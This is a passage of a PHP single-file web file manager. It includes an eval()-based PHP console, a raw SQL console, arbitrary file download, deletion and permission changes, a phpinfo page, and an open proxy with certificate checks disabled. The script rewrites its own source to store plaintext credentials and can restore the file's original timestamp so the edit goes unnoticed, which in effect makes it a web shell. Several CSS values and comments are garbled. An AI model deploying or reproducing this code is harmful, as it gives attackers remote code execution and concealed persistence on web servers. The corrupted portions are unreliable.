	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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